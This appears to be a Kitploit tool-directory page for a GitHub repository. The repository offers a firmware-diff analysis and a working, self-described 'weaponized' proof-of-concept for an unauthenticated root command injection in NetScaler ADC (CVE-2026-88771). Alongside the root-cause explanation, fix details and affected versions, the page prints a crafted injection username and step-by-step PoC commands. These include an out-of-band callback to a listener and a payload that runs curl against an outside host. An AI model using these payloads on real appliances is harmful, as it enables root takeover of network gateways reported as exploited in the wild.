Skip to content
KitploitKITPLOIT
ToolsExploitsBlog
Log in
Submit
ToolsExploitsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

FeedsContactPrivacy© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
cve-2026-88771-netscaler — Firmware diff analysis, root-cause writeup, and working PoC for the unauthenticated NetScaler ADC command injection (CVE-2026-88771) leading to root execution. | Kitploit
Tools/GitHubGitHub/craigsblackie/cve-2026-88771-netscaler
Privilege EscalationVulnerability AnalysisExploitationReverse EngineeringWeb Application ExploitationPapers & ResearchFirmware Analysis
GitHub

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share
craigsblackie/cve-2026-88771-netscaler

cve-2026-88771-netscaler

Firmware diff analysis, root-cause writeup, and working PoC for the unauthenticated NetScaler ADC command injection (CVE-2026-88771) leading to root execution.

View Repository
111 month agoNot yet reviewed

CVE-2026-88771 — NetScaler ADC pre-auth command injection

Unauthenticated arbitrary command execution (as root) in Citrix ADC (NetScaler) 14.1-66.59 and 14.1-72.61. Fixed in 14.1-73.37 (and 13.1-64.23). CVSS 9.5, affects default deployments, no additional feature required.

This repository contains the firmware diff analysis, the extracted vulnerable evidence, and a working proof-of-concept.

  • Vulnerability chain, explained: analysis/CVE-2026-88771_STAGE_BY_STAGE.md
  • Root-cause assessment & regression matrix: analysis/CVE-2026-88771_ROOT_CAUSE.md
  • PoC (verified working): poc/ — see poc/README.md

The vulnerability in one paragraph

A failed, unauthenticated management login is audited to /var/log/ns.log with the attacker-controlled username. The default-enabled root telemetry worker (admautoregd, delivered in the firmware's outer mastools_scripts.tgz) periodically runs /netscaler/ns_monuploadd_err.pl -WR. In the vulnerable builds that branch pipes matching log lines through a broad grep | sed | awk and interpolates the result unquoted into a shell command:

# evidence/rootfs-72.61/netscaler/ns_monuploadd_err.pl:368-377 (14.1-66.59 / 72.61)
my $WR_PPE_COREFILE_NAME = `grep -E -i "pitboss.*PPE.*missed too many heartbeats|pitboss.*PPE.*unexpectedly died" @WR_FILES |
tail -1 | sed -e 's!.*NSPPE!NSPPE!g' -e 's!(!!g' -e 's!)!!g' | awk '{ print \$1"-"\$2 }'`;
...
my $WR_PPE_CORE = `find $OFF_DIR/var/core -name ${WR_PPE_COREFILE_NAME}* -print | tail -1`;

A crafted username like pitboss NSPPE-00;id>/tmp/pwned;# unexpectedly died survives the pipeline as the shell token NSPPE-00;id>/tmp/pwned;#-unexpectedly, so the backtick sink runs find ... -name NSPPE-00, then id>/tmp/pwned (root), then a #-comment.

The chain, stage by stage

  1. Unauthenticated input. The NITRO API handler allows unauthenticated POST to /nitro/v1/config/login (evidence/gui-72.61/admin_ui/nitro/nitro.php); the browser login controller forwards username/password verbatim (evidence/gui-72.61/admin_ui/php/application/controllers/Login.php).
  2. No input validation. nsppe's JSON login parser checks only length < 128 for the username — no character allowlist (decompilation in analysis/nsppe_api_login_799b90.c).
  3. Log write. Failed logins are audited to /var/log/ns.log as CMD_EXECUTED with the username in the record (formatter decompilation: analysis/nsppe_cmdexecuted_decomp.c).
  4. Root consumer. The auto-registration daemon starts at boot (nsstartpe.sh → admautoregd_ctl startup, root), and on its first probe plus every 24 h runs CHECK_PE_FAILURE_CMD = '/netscaler/ns_monuploadd_err.pl -WR' via subprocess.Popen (evidence/mastools-72.61/scripts/admautoreg/constant.py).
  5. Shell sink. The -WR branch of ns_monuploadd_err.pl interpolates the log-derived token unquoted into a backtick command — command execution as root, before any core-file existence check.

The fix (14.1-73.37)

Both halves were fixed together:

  • ns_monuploadd_err.pl replaces the pipeline with a strict Perl regex (NSPPE-\d{2} + numeric PID only) and invokes find via list-form open '-|' (no shell) — see evidence/rootfs-73.37/netscaler/ns_monuploadd_err.pl.
  • The entire admautoregd caller is removed: CHECK_PE_FAILURE_CMD, _check_disk_pe_failure(), get_pe_failure_info() are all gone from the 73.37 mastools package — compare evidence/mastools-72.61/ vs evidence/mastools-73.37/.

The bulletin (CTX697096) — sibling CVEs

CVE-2026-88771 is one of eight CVEs in the coordinated Citrix bulletin. Per the bulletin and the public watchTowr write-up, the set and its disposition is:

CVEDescriptionCVSS 4.0Exploited in the wild
CVE-2026-88771Pre-auth command injection (this repo) — default config9.5 CriticalYes
CVE-2026-88772Memory overflow (RCE/DoS) when DTLS enabled — default for VPN vServers9.5 CriticalYes
CVE-2026-88773HTTP request smuggling — config-dependent9.3 CriticalNo
CVE-2026-88774Config-dependent7.0 HighNo
CVE-2026-88775Memory overflow — config-dependent8.8 HighNo
CVE-2026-88776Memory overflow — config-dependent8.8 HighNo
CVE-2026-88777Memory overflow — config-dependent8.8 HighNo
CVE-2026-88778Predictable ISN — fixed by enabling Enhanced ISN Generation, not the upgrade alone8.8 HighNo

Fixed releases per the bulletin (not only the 14.1 / 13.1 pairs above):

  • ADC / Gateway 14.1-73.37 and later
  • ADC / Gateway 13.1-64.23 and later (13.1 line)
  • ADC 14.1-FIPS 14.1-73.37 FIPS and later
  • ADC 13.1-FIPS / 13.1-NDcPP 13.1-37.279 and later

How to run the PoC

Authorised testing only. The remote side is one unauthenticated HTTPS POST; the injected command runs later as root, when the telemetry worker next executes its 24 h PE-failure check (rebooting the appliance, or restarting admautoregd, forces it).

1. Trigger the injection (no local execution)

# OOB out-of-band callback to your own listener (--callback or CVE88771_CALLBACK):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --callback https://your-listener.example

# Custom command (no '(', ')', spaces, '?', '&'; use ${IFS} for spaces):
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 \
    --cmd 'id>/tmp/cve88771_ef60f0de46d9'

# Repeat the trigger
python3 poc/trigger_88771_logshell.py --host 10.0.0.5 --count 3

Expect HTTP 401 — the failed login is exactly what writes the audit line. Then on the appliance (or by waiting up to 24 h) trigger the worker:

reboot
# or: /bin/sh /var/mastools/scripts/admautoreg/admautoregd_ctl restart

Verify root execution: ls -l /tmp/cve88771_ef60f0de46d9 should show root:wheel.

2. Weaponized single-shot (host + command as arguments)

Enforces the same payload rules: a command with a literal space, (, ), ?, or & is rejected before sending (exit 2). Use ${IFS} for spaces.

python3 poc/cve_2026_88771_poc.py 10.0.0.5 'id>/tmp/cve88771_ef60f0de46d9'
python3 poc/cve_2026_88771_poc.py netscaler.local 'id>/tmp/pwned' --port 8443
python3 poc/cve_2026_88771_poc.py 10.0.0.5 'id' --marker   # random marker path

# command needs a space? use ${IFS} (no literal spaces allowed):
python3 poc/cve_2026_88771_poc.py 10.0.0.5 '/usr/bin/curl${IFS}-sk${IFS}http://10.0.0.9/88771'

3. Safe parser-only harness (no HTTP, no shell)

Download Tool